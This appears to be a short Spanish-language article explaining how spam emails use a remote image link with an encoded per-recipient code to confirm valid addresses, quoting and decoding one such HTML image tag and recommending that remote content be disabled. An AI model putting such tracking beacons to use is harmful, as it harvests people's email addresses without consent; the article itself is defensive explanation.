Spam: El truco de la imagen remota

Im�genes en correo electr�nico son agradables, pero siempre hay que mirarlas con algo de sospecha, particularmente si al abrir la imagen se nota actividad en la conexi�n de la internet (aunque ya entonces es demasiado tarde).

Vea este mensaje - aparentemente muy inocente:


    Good morning.
    
    Sampai jumpa lagi

Este es el texto si est� utilizando un programa simple de correo que reconoce solamente texto. En Outlook Express u otro programa de e-mail que procesa HTML, el texto es diferente:


    Hello, handsome!

    Pa payno

Supuestamente tendr�a que mostrarse una imagen entre las dos l�neas. Esta es la parte interesante. La imagen no est� incluida en el mensaje, sino, existe un v�nculo hacia un sitio donde se la busca en el momento de la lectura. Aqu� est� el c�digo HTML escondido:


    <IMG src=3d"http://fhfvinleuevnn=2einfo/5xad8e7xee1xc26eebaafc9
df2/DFFGSSENBA0=WEDAdHhkwDas=3d=2ejpg" alt=3d"squabbling"  
    border=3d0>

Hace falta un poco de trabajo para eliminar las secuencias de escape (empezando con '='), para obtener el link al sitio de la imagen:


    http://fhfvinleuevnn.info

(Este no el el sitio exacto - lo modifiqu� un poco. Est� ubicado en Brasil). Luego sigue una lista larga de caracteres que parecen aleatorios, pero que en realidad corresponden a un c�digo que se relaciona perfectamente con su direcci�n de correo. Al solo 'ver' el mensaje, el programa de correo consulta al sitio por la imagen - que probablemente ni siquiera existe - pero le comunica este c�digo, confirmando asi que a) la direcci�n de correo existe, y b) corresponde a alguien que tiene un programa de correo con capacidad de ver textos en HTML.

La aparience extra�a del nombre del sitio, se debe a que probablemente se trata de un nombre 'temporario', que existe solo por un par de d�as y luego desaparece (muy popular con correo spam chino!).

Remedio

El �nico remedio v�lido es deshabilitar el HTML en los mensajes. Dada la moda actual, pocas personas estar�n dispuestos de tomar esta medida. En todo caso, f�jese si su programa de correo tiene la posibilidad de deshabilitar la b�squeda de elementos exteriores al mensaje recibido.

Nota: Este tipo de mensajes no causa problemas en la computadora - solo es un m�todo para cosechar direcciones de e-mail v�lidos. Por supuesto, luego aumentar� la cantidad de e-mails recibidos!

16324

correo